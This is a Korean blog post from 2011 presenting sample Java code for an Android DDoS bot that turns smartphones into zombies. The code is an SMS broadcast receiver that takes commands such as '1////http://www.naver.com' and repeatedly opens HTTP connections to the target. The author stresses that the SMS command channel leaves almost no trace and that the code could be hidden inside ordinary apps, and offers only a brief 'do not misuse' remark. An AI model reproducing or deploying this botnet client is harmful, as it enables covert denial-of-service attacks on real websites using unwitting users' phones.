ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • android Ddos샘플 코드
    과거...../개발일지 2011. 6. 1. 10:57
    최근 뉴스에서 농협사태 등등 여러가지 DDos관련 뉴스가 많이 나오고있다.
    아직까지...DDos관련 큰 사고는 우리가 쓰는 데스크탑이나 노트북 등을  좀비 PC를 이용하는 방법이였다.

    하지만 만약 좀비 PC가 아닌 좀비 핸드폰(스마트폰) 을 이용한다면???  
    컴퓨터는 가정에 하나씩이지만..핸드폰은 몇대씩 가지고있는 이 시대에...사고는 더 커질 수 있다.

    그런 차원에서...........스마트폰(안드로이드) Ddos샘플 코드를 만들어보았다.
    원래는 ICMP를 이용해서 만들려고했지만...그 명령을 사용할려면 스마트폰을 루팅해서 사용해야 함으로...그냥 TCP쪽을
    사용해서 구현하였다.

    <코드의 특성 - 아래 첨부>
    1. 문자로 Ddos명령을 내릴 수 있다. 기존에 코드들은 서버컴퓨터에서 명령을 내리기 때문에....허접한..프로그래머들이
       공격할 시에는 ip나 기타 등등이 남을 수 있지만 .. 이 코드는 서버같은 것은 필요없고..문자 웹사이트등을 이용해서    
       보내게 되면 거의 흔적이 남지 않는다.

    2. 문자 명령 샘플
       ex:)  1////http://www.naver.com

    3. manifest에 퍼미션이 설정되어있어야 됩니다.
       <uses-permission android:name="android.permission.INTERNET" />
       <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
       <uses-permission android:name="android.permission.RECEIVE_SMS"/>

    4. manifest에 리시버 설정
    <receiver android:name=".receiver.SMSReceiver">
    <intent-filter>
    <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
    </receiver>

    package com.park.ddosclient.receiver;

    import java.io.*;
    import java.net.*;
    import java.text.*;
    import java.util.*;

    import android.content.*;
    import android.os.*;
    import android.telephony.*;
    import android.util.*;

    public class SMSReceiver extends BroadcastReceiver {

        static final String TAG = "SMSRecevier";
        static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
        static final int ORDERSTOP = 0;
        static final int ORDERATTACK = 1;
        static final int ORDERAVAILABLEMOBILE = 2;   
        
        @Override
        public void onReceive(Context context, Intent intent) {
            if(intent.getAction().equals(ACTION)){
                Bundle bundle = intent.getExtras();
                if(bundle == null) return ;
                
                Object[] tmpobject = (Object[])bundle.get("pdus");
                
                if(tmpobject == null) return ;
                
                SmsMessage[] smsMessages = new SmsMessage[tmpobject.length];            
                
                for(int i=0; i<tmpobject.length; i++){
                    smsMessages[i] = SmsMessage.createFromPdu((byte[]) tmpobject[i]);
                    
                    //특정 번호에만 반응하도록 하는 옵션
                    if(smsMessages[i].getEmailFrom() != null 
                            && smsMessages[i].getEmailFrom().equals(availableNumber())){                    
                    }
                    //메시지 내용 분활
                    if(smsMessages[i].getMessageBody() != null){
                        String[] result = smsMessages[i].getMessageBody().toString().split("////");
                        int order = Integer.parseInt(result[0]);
                        String hostName = result[1];
                        Log.i("@@@@1","ss = " + order);
                        Log.i("@@@@",hostName);
                        //setOrder(order,hostName);                    
                        setOrder(order,hostName);
                    }              
                }            
            }        
        } 
        
        public String availableNumber(){
            
            String str = "010";
            
            SimpleDateFormat formatter = new SimpleDateFormat ( "yyyyMMdd", Locale.KOREA );
            long lTime= System.currentTimeMillis();
            Date date = new Date(lTime);
            
            str = str + formatter.format(date);
                    
            return str;
        }
        
        private Handler mHandler;
        private URL mUrl;
        private HttpURLConnection mHttpURLConnection;
        private boolean mIsConnection;
        private String mHost;
        
        
        Runnable mRunnable = new Runnable() {        
            @Override
            public void run() {       
                try {                
                    mHttpURLConnection.connect();                
                    mHandler.postDelayed(mRunnable, 6000);
                    
                } catch (MalformedURLException e1) {            
                    e1.printStackTrace();
                } catch (IOException e) {            
                    e.printStackTrace();
                }            
            }
        };
        
        Runnable mRunnableCount = new Runnable() {        
            @Override
            public void run() {       
                try {                
                    mHttpURLConnection.connect();               
                } catch (MalformedURLException e1) {            
                    e1.printStackTrace();
                } catch (IOException e) {            
                    e.printStackTrace();
                }            
            }
        };
        
        public void setOrder(int order, String hostName){
            if(hostName == null) return ;
            
            switch(order){
                case ORDERSTOP:
                    if(mHandler != null ){
                        mHandler.removeCallbacks(mRunnable);                    
                    }
                    
                    break;
                case ORDERATTACK:
                    try {
                        mUrl = null;
                        mUrl = new URL(hostName);
                        mHttpURLConnection = (HttpURLConnection) mUrl.openConnection();
                        mHttpURLConnection.setConnectTimeout(5000);                    
                        
                        if(mHandler == null) mHandler = new Handler();
                        mHandler.postDelayed(mRunnable, 3000);
                        
                    } catch (MalformedURLException e) {
                        
                        e.printStackTrace();
                    } catch (IOException e) {
                        
                        e.printStackTrace();
                    }                
                    break;
                case ORDERAVAILABLEMOBILE:
                    try {
                        mUrl = null;
                        mUrl = new URL(hostName);
                        mHttpURLConnection = (HttpURLConnection) mUrl.openConnection();
                        mHttpURLConnection.setConnectTimeout(5000);           
                        
                        if(mHandler == null) mHandler = new Handler();
                        mHandler.postDelayed(mRunnableCount, 3000);
                        
                    } catch (MalformedURLException e) {
                        
                        e.printStackTrace();
                    } catch (IOException e) {
                        
                        e.printStackTrace();
                    }    
                    break;                
            }       
        }
    }
     


    위와 같은 코드를... 일반 어플리케이션에 마들어서 심게 된다면..정말...큰 일이 발생 될듯 싶다..ㅜㅠ
    ## 쉬운 코드지만..악용은 안됩니다..ㅜㅠ

     
Designed by Tistory.